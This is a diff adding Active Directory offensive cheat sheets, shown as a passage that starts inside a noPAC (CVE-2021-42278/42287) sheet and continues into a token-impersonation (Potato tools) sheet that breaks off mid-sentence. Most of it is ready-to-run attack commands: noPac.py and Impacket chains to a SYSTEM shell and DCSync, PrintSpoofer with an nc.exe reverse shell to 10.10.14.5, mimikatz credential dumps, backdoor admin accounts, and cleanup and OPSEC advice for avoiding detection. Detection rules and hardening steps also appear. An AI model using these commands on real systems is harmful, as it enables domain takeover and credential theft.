1.0.0 | Machine account creation and sAMAccountName modification | +| [NetExec](https://github.com/Pennyw0rth/NetExec) | Linux | ≥ 1.1.0 | `-M nopac` module — scan for vulnerability | +| [Rubeus](https://github.com/GhostPack/Rubeus) | Windows (.NET) | ≥ 2.0 | `asktgt` + `s4u` for Windows-based manual exploitation | +| [PowerMAD](https://github.com/Kevin-Robertson/Powermad) | Windows/PowerShell | Latest | `New-MachineAccount` — PowerShell machine account creation | + +*** + +## ⏱️ Time-to-Execute Estimates + +| Operation | Time | Notes | +|---|---|---| +| Vulnerability scan | **3–5 seconds** | noPac.py `-scan` mode | +| Automated exploitation | **10–30 seconds** | Full chain: create → rename → TGT → rename → S4U → shell | +| Manual exploitation (6 steps) | **60–120 seconds** | Each Impacket command takes a few seconds | +| Full chain → DCSync | **30–60 seconds** | From any domain user to full credential dump | + +*** + +## 💻 Full Commands + +### 🔵 Check Vulnerability + +```bash +# ── noPac.py scan mode ──────────────────────────────────────────────────────── +python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \ + -dc-host DC01 --scan +# Output: "Current ms-DS-MachineAccountQuota = 10" +# Output: "DC01 is VULNERABLE" or "DC01 is NOT VULNERABLE" + +# ── NetExec noPAC module ────────────────────────────────────────────────────── +nxc smb DC01.corp.local -u low_user -p 'Password1' -M nopac +# Output: [+] VULNERABLE or [-] not vulnerable + +# ── Check MAQ manually ──────────────────────────────────────────────────────── +nxc ldap DC01.corp.local -u low_user -p 'Password1' -M maq +# Or: +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + get object 'DC=corp,DC=local' --attr ms-DS-MachineAccountQuota +``` + +### 🔴 Automated Exploitation (Recommended) + +```bash +# ── noPac.py — fully automated → SYSTEM shell on DC ────────────────────────── +python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \ + -dc-host DC01 -shell --impersonate Administrator -use-ldap + +# Output: Interactive SYSTEM shell on DC01 +# From here: secretsdump.py, mimikatz, or any post-exploitation + +# ── noPac.py — get service ticket only (no shell) ──────────────────────────── +python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \ + -dc-host DC01 --impersonate Administrator -use-ldap -dump +# Dumps NTDS via DCSync using the impersonated Administrator ticket + +# ── sam-the-admin (alternative) ─────────────────────────────────────────────── +python3 sam_the_admin.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \ + -dc-host DC01 -shell +``` + +### 🔴 Manual Exploitation (Step-by-Step) + +```bash +# ── Step 1: Create machine account ──────────────────────────────────────────── +addcomputer.py -computer-name 'NOPAC$' -computer-pass 'FakePass!' \ + -dc-ip 10.10.10.10 corp.local/low_user:'Password1' +# Creates NOPAC$ with password FakePass! + +# ── Step 2: Rename sAMAccountName to DC01 (remove the $) ───────────────────── +python3 renameMachine.py -current-name 'NOPAC$' -new-name 'DC01' \ + corp.local/low_user:'Password1' -dc-ip 10.10.10.10 +# Now the machine account's sAMAccountName = "DC01" (without $) + +# ── Step 3: Request TGT as "DC01" ──────────────────────────────────────────── +getTGT.py corp.local/'DC01':'FakePass!' -dc-ip 10.10.10.10 +# Outputs: DC01.ccache — TGT for the account named "DC01" + +# ── Step 4: Rename back to NOPAC$ ──────────────────────────────────────────── +python3 renameMachine.py -current-name 'DC01' -new-name 'NOPAC$' \ + corp.local/low_user:'Password1' -dc-ip 10.10.10.10 +# sAMAccountName restored to NOPAC$ — KDC will now look for "DC01$" (the real DC) + +# ── Step 5: Request service ticket (S4U2Self) using TGT ────────────────────── +export KRB5CCNAME=DC01.ccache +getST.py -spn cifs/DC01.corp.local -impersonate Administrator \ + -k -no-pass corp.local/'DC01' -dc-ip 10.10.10.10 +# KDC confusion: looks up "DC01", finds nothing, appends "$", finds real DC01$ +# Issues service ticket as Administrator for cifs/DC01.corp.local + +# ── Step 6: Use the impersonated Administrator ticket ───────────────────────── +export KRB5CCNAME=Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local +# Full DCSync as Administrator — extracts all domain credentials + +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +# Interactive SYSTEM shell on DC01 +``` + +#### bloodyAD Alternative (Machine Account Creation) + +```bash +# ── Create machine account with bloodyAD ────────────────────────────────────── +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + add computer 'NOPAC$' 'FakePass!' + +# ── Modify sAMAccountName ──────────────────────────────────────────────────── +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + set object 'NOPAC$' sAMAccountName -v 'DC01' +``` + +#### Windows-Based (Rubeus + PowerMAD) + +```powershell +# ── Create machine account with PowerMAD ────────────────────────────────────── +Import-Module .\Powermad.ps1 +New-MachineAccount -MachineAccount NOPAC -Password $(ConvertTo-SecureString 'FakePass!' -AsPlainText -Force) + +# ── Rename (requires AD module or direct LDAP modification) ────────────────── +Set-ADComputer NOPAC -SamAccountName 'DC01' + +# ── Request TGT with Rubeus ────────────────────────────────────────────────── +.\Rubeus.exe asktgt /user:DC01 /password:FakePass! /domain:corp.local /dc:DC01.corp.local /nowrap + +# ── Rename back ─────────────────────────────────────────────────────────────── +Set-ADComputer NOPAC -SamAccountName 'NOPAC$' + +# ── S4U with Rubeus ────────────────────────────────────────────────────────── +.\Rubeus.exe s4u /ticket:<base64_TGT> /impersonateuser:Administrator /msdsspn:cifs/DC01.corp.local /ptt +# Ticket injected into current session — access DC01 as Administrator +``` + +### 🔴 Post-Exploitation Cleanup + +```bash +# ── Delete the machine account after exploitation ───────────────────────────── +addcomputer.py -computer-name 'NOPAC$' -dc-ip 10.10.10.10 \ + corp.local/Administrator:'Password1' -delete + +# ── Or via bloodyAD ────────────────────────────────────────────────────────── +bloodyAD -d corp.local -u Administrator -p 'Password1' --host DC01.corp.local \ + remove computer 'NOPAC$' +``` + +*** + +## 🎯 OPSEC Tips + +1. **noPac.py automated mode is fast but creates a machine account** — this is logged (Event 4741) and persists in AD unless cleaned up +2. **Always delete the machine account after exploitation** — leftover accounts with non-standard names are forensic artifacts +3. **The sAMAccountName rename is the most detectable step** — Event 4742 logs the attribute change; this is unusual for machine accounts +4. **Use `-use-ldap` flag** with noPac.py — some environments have issues with the default SAMR protocol for machine account operations +5. **Manual exploitation is stealthier than automated** — you control the timing between each step and can add delays +6. **Check MAQ before starting** — if MachineAccountQuota = 0, you can't create machine accounts; look for existing machine accounts you can modify instead +7. **Clean up ccache files** after exploitation — `DC01.ccache` and the impersonated ticket are evidence + +### 📊 OpSec Ranking + +| Method | Stealth | Speed | Reliability | Notes | +|---|---|---|---|---| +| noPac.py automated | 🟡 Medium | 🟢 Fast | 🟢 High | Fast but creates machine account + renames | +| Manual Impacket steps | 🟡 Medium | 🟡 Medium | 🟢 High | More control; can add delays between steps | +| Rubeus + PowerMAD (Windows) | 🟡 Medium | 🟡 Medium | 🟡 Medium | PowerShell logging catches module loads | +| bloodyAD + Impacket | 🟡 Medium | 🟡 Medium | 🟢 High | Good alternative; fewer dependencies | + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4741** | Security Log (DC) | Machine account creation — `NOPAC$` or unusual naming pattern | +| **4742** | Security Log (DC) | Machine account renamed — `sAMAccountName` changed (critical indicator) | +| **4768** | Security Log (DC) | TGT request for account matching DC name (e.g., `DC01` without `$`) | +| **4769** | Security Log (DC) | Service ticket request (S4U2Self) using the confused identity | +| **4743** | Security Log (DC) | Machine account deleted (cleanup by attacker) | + +### 🔎 Sigma Rules + +```yaml +# ── SigmaHQ — Machine Account sAMAccountName Change (noPAC Indicator) ──────── +title: Machine Account sAMAccountName Modification (noPAC/CVE-2021-42278) +id: c7d8e9f0-nopac-samaccountname-change +status: stable +logsource: + product: windows + service: security +detection: + selection: + EventID: 4742 + keywords: + AttributeValue|contains: 'sAMAccountName' + condition: selection +level: critical +tags: + - attack.privilege_escalation + - attack.t1068 + - cve.2021.42278 + - cve.2021.42287 +``` + +```yaml +# ── SigmaHQ — TGT Request for DC Name Without $ Suffix ─────────────────────── +title: TGT Request for Account Matching DC Name (noPAC Indicator) +id: a1b2c3d4-nopac-tgt-dc-name +logsource: + product: windows + service: security +detection: + selection: + EventID: 4768 + TargetUserName|endswith: '' # Does NOT end with $ + filter_dc: + TargetUserName|endswith: '$' + filter_users: + TargetUserName|re: '^(?!DC|dc)' # Only alert on names matching DC naming patterns + condition: selection and not filter_dc +level: high +``` + +### 🛡️ EDR-Specific Detections + +> [!warning]+ Microsoft Defender for Identity (MDI) +> `ris:Windows` +> 1. **"Suspected noPac exploitation (CVE-2021-42278/42287)"** — specific detection for the sAMAccountName rename + TGT request pattern +> 2. MDI correlates machine account creation → rename → TGT request → rename-back as a single attack sequence +> 3. **"Suspicious machine account name change"** — fires on any machine account sAMAccountName modification that removes the `$` suffix +> 4. *MDI added noPAC detection within weeks of the CVE disclosure — high-confidence alerting* + +> [!warning]+ CrowdStrike Falcon +> `ris:Radar` +> 1. **"noPAC/Sam-the-Admin Exploitation"** — behavioral detection for the machine account creation → rename → Kerberos abuse chain +> 2. Falcon detects automated exploitation tools (noPac.py, sam-the-admin) via process and network behavioral analysis +> 3. Also detects the Kerberos ticket manipulation (S4U2Self with confused identity) + +> [!warning]+ Elastic Security +> `ris:FileList` +> 1. Rule: **"Machine Account sAMAccountName Changed"** — Event 4742 correlation for sAMAccountName attribute modifications +> 2. Rule: **"TGT Requested for Account Matching Domain Controller Name"** — Event 4768 correlation +> 3. Rule: **"Rapid Machine Account Create-Rename-Delete Pattern"** — temporal correlation of Events 4741→4742→4743 + +*** + +## 🔬 Forensic Artifacts + +| Artifact | Location | Details | +|---|---|---| +| **Machine account creation** | Event 4741 | New computer account `NOPAC$` with creation timestamp | +| **sAMAccountName change** | Event 4742 | Machine account renamed — old value (`NOPAC$`) → new value (`DC01`) | +| **TGT request** | Event 4768 | TGT for `DC01` (without `$`) — matches a DC naming pattern | +| **S4U2Self ticket** | Event 4769 | Service ticket request impersonating Administrator | +| **Machine account deletion** | Event 4743 | Account deleted (cleanup — if attacker was thorough) | +| **ccache files** | Attacker filesystem | `DC01.ccache` and `Administrator@cifs_*.ccache` — evidence of exploitation | +| **AD attribute metadata** | `msDS-ReplAttributeMetaData` on the machine account | sAMAccountName modification timestamps and originating DC | +| **Kerberos ticket cache** | DC LSASS memory | TGT and service tickets issued during the attack — volatile | + +*** + +> [!important]+ Windows Server Version & Patch Timeline +> `ris:Windows` +> 1. **November 2021 (KB5008102/KB5008380)**: Initial patch released — fixes both CVE-2021-42278 and CVE-2021-42287 +> 2. **April 2022**: Enforcement phase — KDC rejects tickets without proper PAC validation +> 3. **July 2022**: Full enforcement — PAC validation required; non-patched clients may experience authentication failures +> 4. **Server 2012 R2**: Vulnerable if unpatched; enforcement timeline applies +> 5. **Server 2016**: Vulnerable if unpatched; same timeline +> 6. **Server 2019**: Vulnerable if unpatched; same timeline +> 7. **Server 2022**: Vulnerable if unpatched (even though it was released before the CVE); patches available +> 8. **Server 2025**: Shipped with fixes included — NOT vulnerable; PAC validation enforced by default +> 9. *The enforcement phase is critical — even after patching, there's a grace period before the KDC rejects vulnerable tickets; check `PacRequestorEnforcement` registry key* + +*** + +## 🔒 Hardening & Prevention + +```powershell +# ── 1. Set MachineAccountQuota to 0 (prevent machine account creation) ──────── +Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"} +# Blocks any domain user from creating machine accounts +# ⚠️ May break self-service domain join — use targeted delegation instead + +# ── 2. Apply November 2021 patches ─────────────────────────────────────────── +# Verify patches: +Get-HotFix | Where-Object { $_.HotFixID -match 'KB5008102|KB5008380|KB5008212' } +# If empty → DC is vulnerable + +# ── 3. Enable PAC validation enforcement ────────────────────────────────────── +# Registry key (post-patch): +Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" ` + -Name "PacRequestorEnforcement" -Value 2 -Type DWord +# Value 0 = Disabled (not recommended) +# Value 1 = Add PAC validation but don't enforce (default after Nov 2021 patch) +# Value 2 = Full enforcement (recommended — rejects tickets without PAC) + +# ── 4. Monitor machine account creation and modification ────────────────────── +# GPO → Computer Configuration → Windows Settings → Security Settings → +# Advanced Audit Policy → Account Management → +# ✅ Audit Computer Account Management: Success, Failure + +# ── 5. Alert on sAMAccountName changes for machine accounts ────────────────── +# SIEM query (Splunk example): +# source=WinEventLog:Security EventCode=4742 TargetUserName=*$ +# | search "sAMAccountName" | table _time, TargetUserName, SubjectUserName + +# ── 6. Restrict who can create machine accounts ────────────────────────────── +# If MAQ must be > 0, delegate machine account creation to specific OUs: +# Use fine-grained permissions instead of domain-wide MAQ + +# ── 7. Monitor for DC-name TGT requests from non-DC accounts ───────────────── +# Alert on Event 4768 where TargetUserName matches a DC name but lacks $ +# This is the definitive noPAC exploitation indicator + +# ── 8. Deploy MDI for automated detection ───────────────────────────────────── +# MDI has specific noPAC detection since December 2021 +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| `Machine account creation failed — quota exceeded` | MachineAccountQuota = 0 or user already created max accounts | Check MAQ value; if 0, cannot exploit via this path — look for existing machine accounts to modify | +| `renameMachine.py: Access denied` | Insufficient permissions to modify the machine account | Verify the user who created the account owns it; use the same user for rename; or try `bloodyAD` | +| `getTGT: KDC_ERR_C_PRINCIPAL_UNKNOWN` | sAMAccountName rename didn't take effect yet | Wait a few seconds for AD replication; verify rename with `Get-ADComputer NOPAC -Properties sAMAccountName` | +| `getST: KRB_AP_ERR_SKEW` | Clock skew > 5 minutes | Sync time: `ntpdate DC01.corp.local` | +| `getST: KDC_ERR_BADOPTION` | S4U2Self failed — DC may be patched | Verify DC patch status; if `PacRequestorEnforcement = 2`, the exploit is blocked | +| noPac.py `-shell` hangs | Network connectivity issue or SMB blocked | Try `-dump` instead of `-shell`; or use the manual approach with `getST.py` + `secretsdump.py` | +| `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT` | Using machine account TGT incorrectly | Ensure you're using the TGT from Step 3 (before rename-back) for the S4U request | +| Manual exploit: wrong ticket in Step 6 | Using TGT instead of S4U service ticket | After Step 5, `export KRB5CCNAME=Administrator@cifs_DC01...` (the S4U output), NOT the original TGT | + +*** + +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Procedure | APT Groups | +|---|---|---|---|---| +| **Privilege Escalation** | [T1068](https://attack.mitre.org/techniques/T1068/) | Exploitation for Privilege Escalation | Exploit CVE-2021-42278/42287 to escalate from any domain user to DA via sAMAccountName confusion | Ransomware operators (Conti, LockBit) | +| **Credential Access** | [T1558](https://attack.mitre.org/techniques/T1558/) | Steal or Forge Kerberos Tickets | Abuse S4U2Self with confused identity to obtain Administrator service ticket | Chained technique | +| **Persistence** | [T1136](https://attack.mitre.org/techniques/T1136/) | [.002 — Domain Account](https://attack.mitre.org/techniques/T1136/002/) | Create machine account as part of the exploitation chain | Supporting technique | + +> [!tip]+ Real-World Context +> `fas:Lightbulb` +> 1. **noPAC was weaponized within days of disclosure** (December 2021) — automated exploit tools appeared on GitHub almost immediately +> 2. **Conti ransomware group** incorporated noPAC into their automated domain compromise playbook as a fast-path escalation from any domain user to DA +> 3. **LockBit affiliates** used noPAC in early 2022 campaigns against healthcare and manufacturing targets +> 4. *noPAC is considered one of the most impactful AD privilege escalation vulnerabilities because it requires only any domain user account — no special permissions, no ACL abuse, just standard domain authentication* + +*** + +## 🔗 Attack Chain Context + +``` +[noPAC] ──→ Low-priv User → DA via Machine Account Naming Confusion + │ + ├──→ 💥 CVE-2021-42278 + CVE-2021-42287 + ├──→ 💻 Any domain user → SYSTEM shell on DC → DCSync (Attack #37) + ├──→ 🎫 DCSync KRBTGT → Golden Ticket (Attack #11) + ├──→ 💻 DCSync Administrator → Pass-the-Hash (Attack #4) + ├──→ 🔗 Alternative to: Kerberoasting (Attack #2) → cracking → DA + ├──→ 🔗 Compare: Zerologon (Attack #40) — unauth; noPAC needs any domain user + ├──→ 📋 Patched Nov 2021, but legacy DCs may remain vulnerable + └──→ 💀 Defeated by: patch, set MAQ=0, enforce PacRequestorEnforcement=2, monitor account renames +``` + +*** + +> ✅ **Attack #44 — noPAC complete.** + +*** + +> 🏁 **Category 5 — DC & Replication Attacks is now COMPLETE (8/8 attacks).** diff --git a/src/content/sheets/active-directory/attack-45-token-impersonation-seimpersonateprivilege.md b/src/content/sheets/active-directory/attack-45-token-impersonation-seimpersonateprivilege.md @@ -0,0 +1,328 @@ +--- +title: "Attack #45 — Token Impersonation (SeImpersonatePrivilege)" +description: "Token Impersonation is a local privilege escalation technique that exploits the Windows SeImpersonatePrivilege (or SeAssignPrimaryTokenPrivilege) to…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation", "sql-injection"] +tools: ["Impacket", "Mimikatz", "Metasploit", "Meterpreter", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #45 — Token Impersonation (SeImpersonatePrivilege).md" +--- +# 🟣 Attack #45 — Token Impersonation (SeImpersonatePrivilege) + +*** + +## 📖 How It Works + +Token Impersonation is a **local privilege escalation technique** that exploits the Windows `SeImpersonatePrivilege` (or `SeAssignPrimaryTokenPrivilege`) to escalate from a service account to `NT AUTHORITY\SYSTEM` — the highest privilege level on a Windows system. This privilege is granted by default to all service accounts, IIS AppPool identities, MSSQL service accounts, and any process running as `NETWORK SERVICE` or `LOCAL SERVICE`. If an attacker compromises any of these accounts (via web shell, SQL injection, etc.), they can escalate to SYSTEM in seconds. + +### How It Works Technically + +1. **The attacker controls a process** with `SeImpersonatePrivilege` (e.g., a web shell running as `IIS APPPOOL\DefaultAppPool`) +2. **The attacker creates a listener** — typically a named pipe or a COM server that listens for incoming connections +3. **A SYSTEM-level process is tricked into authenticating** to the attacker's listener — this is achieved by abusing various Windows services (Print Spooler, BITS, DCOM/COM objects, RPC endpoints) +4. **The attacker captures the SYSTEM token** — when the privileged process connects, Windows lets the attacker impersonate the connecting client's security context because `SeImpersonatePrivilege` explicitly allows this +5. **The attacker spawns a new process** (cmd.exe, reverse shell, beacon) using the captured SYSTEM token + +### The "Potato" Family Evolution + +The Potato exploit family has evolved over 8+ years as Microsoft patched specific coercion methods, spawning new variants: + +| Tool | Year | Coercion Method | Target OS | Status | +|---|---|---|---|---| +| **Hot Potato** | 2016 | NBNS spoofing + WPAD + NTLM relay | Win 7/8/10, Server 2008/2012 | ❌ Patched | +| **Rotten Potato** | 2016 | DCOM/BITS → NTLM relay to local OXID | Win 10, Server 2012/2016 | ❌ Patched | +| **Juicy Potato** | 2018 | Arbitrary CLSID COM abuse | Win ≤10 1803, Server ≤2016 | ⚠️ Partial | +| **Rogue Potato** | 2020 | Remote OXID resolution → named pipe | Win 10, Server 2019 | ✅ Works | +| **Sweet Potato** | 2020 | Combined — Print Bug + COM + WinRM | Multiple versions | ✅ Works | +| **PrintSpoofer** | 2020 | Print Spooler named pipe impersonation | Win 10, Server 2016/2019 | ✅ Works | +| **EfsPotato** | 2021 | EFS RPC → named pipe impersonation | Win 10/11, Server 2019/2022 | ✅ Works | +| **GodPotato** | 2022 | RPCSS DCOM activation → unnamed pipe | Win 2012–2022, Win 8–11 | ✅ Works | +| **SigmaPotato** | 2023 | GodPotato fork with improvements | Multiple versions | ✅ Works | +| **CoercedPotato** | 2024 | Multi-protocol coercion (MS-EFSR, MS-RPRN, etc.) | Multiple versions | ✅ Works | + +### Why Service Accounts Have This Privilege + +``` +# Check current privileges: +whoami /priv + +# If you see either of these, you can escalate: +# SeImpersonatePrivilege Impersonate a client after authentication Enabled +# SeAssignPrimaryTokenPrivilege Replace a process level token Enabled + +# These accounts typically have SeImpersonatePrivilege: +# - IIS AppPool accounts (web shells) +# - MSSQL Server service accounts (xp_cmdshell) +# - NETWORK SERVICE +# - LOCAL SERVICE +# - Any Windows service account +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Shell as service account** | Running as IIS AppPool, MSSQL, NETWORK SERVICE, or any account with `SeImpersonatePrivilege` | +| **SeImpersonatePrivilege enabled** | `whoami /priv` must show `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege` | +| **Local system access** | This is a LOCAL privilege escalation — you need a shell on the target machine | +| **Appropriate Potato tool** | Must match the target OS version (see compatibility table above) | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **GodPotato** | Windows | Most universally compatible — works on 2012-2022 | +| **PrintSpoofer** | Windows | Fast, clean — requires Print Spooler running | +| **JuicyPotato** | Windows | Classic — older systems only (≤ Win 10 1803) | +| **JuicyPotatoNG** | Windows | Updated version with better compatibility | +| **SweetPotato** | Windows | Combined approach — multiple coercion methods | +| **EfsPotato** | Windows | EFS-based — works on modern systems | +| **SigmaPotato** | Windows | GodPotato improvement — broader support | +| **CoercedPotato** | Windows | Multi-protocol — most comprehensive | +| **SharpEfsPotato** | Windows | .NET implementation of EFS Potato | +| **Incognito** | Meterpreter | Token manipulation via Meterpreter framework | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Verify SeImpersonatePrivilege + +```powershell +# ── Check if you have the required privilege ────────────────────────────────── +whoami /priv + +# Expected output for exploitable service accounts: +# Privilege Name Description State +# ============================= ========================================= ======== +# SeImpersonatePrivilege Impersonate a client after authentication Enabled +# SeAssignPrimaryTokenPrivilege Replace a process level token Disabled +# (either one is sufficient) + +# ── Check who you are ───────────────────────────────────────────────────────── +whoami +# Expected: iis apppool\defaultapppool, nt service\mssqlserver, etc. + +# ── Check OS version (to pick the right Potato) ────────────────────────────── +systeminfo | findstr /B /C:"OS Name" /C:"OS Version" +[System.Environment]::OSVersion.Version +``` + +*** + +### 🔴 GodPotato (Recommended — Broadest Compatibility) + +```powershell +# ── Spawn a SYSTEM command prompt ───────────────────────────────────────────── +.\GodPotato.exe -cmd "cmd /c whoami" +# Output: nt authority\system + +# ── Execute a reverse shell as SYSTEM ───────────────────────────────────────── +.\GodPotato.exe -cmd "cmd /c powershell -e <base64_reverse_shell>" + +# ── Create a new admin user as SYSTEM ───────────────────────────────────────── +.\GodPotato.exe -cmd "cmd /c net user hacker P@ssword123! /add && net localgroup Administrators hacker /add" + +# ── Dump SAM database ──────────────────────────────────────────────────────── +.\GodPotato.exe -cmd "cmd /c reg save HKLM\SAM C:\Temp\SAM && reg save HKLM\SYSTEM C:\Temp\SYSTEM" + +# ── Run Mimikatz as SYSTEM ──────────────────────────────────────────────────── +.\GodPotato.exe -cmd "cmd /c C:\Temp\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit > C:\Temp\creds.txt" +``` + +*** + +### 🔴 PrintSpoofer (Clean & Fast — Requires Print Spooler) + +```powershell +# ── Check if Print Spooler is running ───────────────────────────────────────── +Get-Service Spooler +sc query Spooler + +# ── Spawn interactive SYSTEM shell ──────────────────────────────────────────── +.\PrintSpoofer64.exe -i -c cmd +# Drops you into an interactive cmd.exe as SYSTEM + +# ── Non-interactive command execution ───────────────────────────────────────── +.\PrintSpoofer64.exe -c "cmd /c whoami" +# Output: nt authority\system + +# ── Reverse shell ───────────────────────────────────────────────────────────── +.\PrintSpoofer64.exe -c "cmd /c C:\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe" + +# ── 32-bit version (for 32-bit processes like IIS on x86 app pools) ────────── +.\PrintSpoofer32.exe -i -c cmd +``` + +*** + +### 🔴 JuicyPotato (Legacy — Older OS Only) + +```powershell +# ── Basic SYSTEM shell ──────────────────────────────────────────────────────── +.\JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} +# -l = COM listener port (arbitrary) +# -p = program to launch as SYSTEM +# -t = createprocess call type (* = try both) +# -c = CLSID to abuse (varies by OS — see below) + +# ── Execute specific command ────────────────────────────────────────────────── +.\JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami > C:\Temp\whoami.txt" \ + -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} + +# ── Reverse shell ───────────────────────────────────────────────────────────── +.\JuicyPotato.exe -l 1337 -p cmd.exe \ + -a "/c powershell -e <base64_reverse_shell>" \ + -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} + +# ── Common CLSIDs by OS ────────────────────────────────────────────────────── +# Windows 10 Pro: {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} +# Windows Server 2016: {8F5DF053-3013-4dd8-B5F4-88214E81C0CF} +# Windows Server 2012: {e60687f7-01a1-40aa-86ac-db1cbf673334} +# Full CLSID list: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md +``` + +*** + +### 🔴 EfsPotato (Modern Systems) + +```powershell +# ── Compile and run (requires .NET framework) ──────────────────────────────── +.\EfsPotato.exe whoami +# Output: nt authority\system + +# ── Execute command ─────────────────────────────────────────────────────────── +.\EfsPotato.exe "cmd /c net user hacker P@ssword123! /add" +.\EfsPotato.exe "cmd /c net localgroup Administrators hacker /add" +``` + +*** + +### 🔴 SweetPotato (Multi-Method) + +```powershell +# ── Auto-detect best method ────────────────────────────────────────────────── +.\SweetPotato.exe -p cmd.exe -a "/c whoami" + +# ── Specify method (PrintSpoofer technique) ─────────────────────────────────── +.\SweetPotato.exe -e PrintSpoofer -p cmd.exe -a "/c whoami" + +# ── WinRM method ────────────────────────────────────────────────────────────── +.\SweetPotato.exe -e WinRM -p cmd.exe -a "/c whoami" + +# ── DCOM method (classic Juicy) ─────────────────────────────────────────────── +.\SweetPotato.exe -e DCOM -p cmd.exe -a "/c whoami" +``` + +*** + +### 🔴 Meterpreter — Incognito Module (If Using Metasploit) + +```bash +# ── From a Meterpreter session ──────────────────────────────────────────────── +meterpreter> load incognito + +# List available tokens +meterpreter> list_tokens -u +# Look for: NT AUTHORITY\SYSTEM, domain\admin_user, etc. + +# Impersonate SYSTEM token +meterpreter> impersonate_token "NT AUTHORITY\SYSTEM" +# [+] Delegation token available +# [+] Successfully impersonated user NT AUTHORITY\SYSTEM + +# Impersonate domain admin token (if one is logged in) +meterpreter> impersonate_token "CORP\domain_admin" + +# Verify +meterpreter> getuid +# Server username: NT AUTHORITY\SYSTEM + +# Drop to shell +meterpreter> shell +C:\> whoami +nt authority\system +``` + +*** + +### 🔴 Post-Exploitation — After SYSTEM + +```powershell +# ── Once SYSTEM, extract all credentials ────────────────────────────────────── + +# Dump all logon credentials from LSASS +mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit + +# Dump SAM database (local accounts) +reg save HKLM\SAM C:\Temp\SAM +reg save HKLM\SYSTEM C:\Temp\SYSTEM +reg save HKLM\SECURITY C:\Temp\SECURITY +# Exfiltrate and parse with secretsdump.py: +# secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL + +# Enable RDP for persistence +reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f +netsh advfirewall firewall set rule group="remote desktop" new enable=Yes + +# Create a persistent admin account +net user backdoor P@ssword123! /add +net localgroup Administrators backdoor /add + +# If domain-joined, DCSync is now possible from this machine +mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:corp.local /user:krbtgt" exit +``` + +*** + +## 🎯 OPSEC Tips + +- **GodPotato is the safest choice** — it works on the widest range of OS versions (2012-2022) and doesn't require specific services to be running +- **PrintSpoofer is fastest** but requires Print Spooler — check `sc query Spooler` first; if it's disabled, use GodPotato +- **JuicyPotato won't work** on Windows 10 build 1809+ or Server 2019+ — Microsoft blocked the DCOM activation path +- **Avoid dropping binaries to disk** if possible — use in-memory execution via PowerShell reflection or .NET assembly loading +- **The Potato exploit itself is not detected** as easily as what you do AFTER getting SYSTEM — credential dumping and admin account creation are the loud parts +- **Token impersonation via Meterpreter/Incognito** is useful when there's a logged-in admin session on the box — you can steal their token without knowing their password + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4688** | Security Log | Process creation — unexpected `cmd.exe` or `powershell.exe` spawned by service accounts (IIS, MSSQL, etc.) | +| **4672** | Security Log | Special privileges assigned to new logon — SYSTEM token usage from unexpected source | +| **4624** | Security Log | New logon — SYSTEM logon (Type 2 or 5) from unexpected parent process | +| **7045** | System Log | New service installed — some Potato variants create temporary services | +| **Sysmon 10** | Sysmon | Process access — tool accessing LSASS memory (post-exploitation) | +| **Sysmon 1** | Sysmon | Process creation with full command line — Potato binary execution | +| **Sysmon 17/18** | Sysmon | Named pipe creation/connection — PrintSpoofer creates `\\.\pipe\spoolss` variants | + +**Primary detection signature:** Monitor for **unexpected parent-child process relationships** involving service accounts. If `w3wp.exe` (IIS), `sqlservr.exe` (MSSQL), or `svchost.exe` spawns `cmd.exe` or `powershell.exe` as SYSTEM, that is a near-certain indicator of token impersonation. Sysmon with proper configuration provides the most reliable detection through process creation events with full command lines and named pipe monitoring. + +*** + +## 🔗 Attack Chain Context + +``` +[Token Impersonation] ──→ Local SYSTEM Privilege Escalation + │ + ├──→ 🌐 Web shell (IIS) → SeImpersonatePrivilege → SYSTEM → credentials + ├──→ 🗄️ SQL injection (MSSQL xp_cmdshell) → SYSTEM → lateral movement + ├──→ 🔑 SYSTEM → dump LSASS → extract domain creds → DCSync + ├──→ 💻 SYSTEM → read DPAPI secrets, SAM hives, LSA secrets + ├──→ 🔗 Chain with: PtH (Attack #4), DCSync (#37), lateral movement (#54-60) + ├──→ 🔄 Commonly the first escalation after initial web/SQL compromise + └──→ 💀 Defeated by: don't grant SeImpersonatePrivilege, use gMSAs, patch +``` + +**Token Impersonation is the most common local privilege escalation** in real-world engagements. Nearly every web application compromise or SQL injection that 